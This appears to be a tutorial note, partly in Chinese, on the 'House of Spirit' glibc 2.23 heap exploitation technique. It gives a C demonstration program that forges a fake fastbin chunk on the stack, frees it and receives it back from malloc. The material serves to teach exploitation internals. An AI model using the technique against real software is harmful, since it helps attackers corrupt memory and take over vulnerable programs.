House of Spirit
glibc-2.23
House of Spirit主要思想比较简单。构造一个符合进入fastbin的条件的chunk。然后将该chunk free进fastbin在malloc得到该chunk。
在64位机器上，小于等于128字节的chunk能够进入fastbin。于此同时，进入fastbin的时候PREV_INUSE位的内容无关紧要。但是如果IS_MAPPED和NON_MAIN_ARENA被置位则会引起一些问题。
注意进入fastbin的时候除了检查上述的3个bits和该chunk自身的size位之外，该chunk的物理相邻的下一个chunk的size位必须满足> 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena)的条件
#include <stdio.h>
#include <stdlib.h>
int main()
{
fprintf(stderr, "This file demonstrates the house of spirit attack.\\n");
fprintf(stderr, "Calling malloc() once so that it sets up its memory.\\n");
malloc(1);
fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\\n");
unsigned long long *a;
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);
fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\\n");
fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \\n");
fake_chunks[1] = 0x40; // this is the size
fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\\n");
// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
fake_chunks[9] = 0x1234; // nextsize
fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\\n", &fake_chunks[1]);
fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\\n");
a = &fake_chunks[2];
fprintf(stderr, "Freeing the overwritten pointer.\\n");
free(a);
fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\\n", &fake_chunks[1], &fake_chunks[2]);
fprintf(stderr, "malloc(0x30): %p\\n", malloc(0x30));
}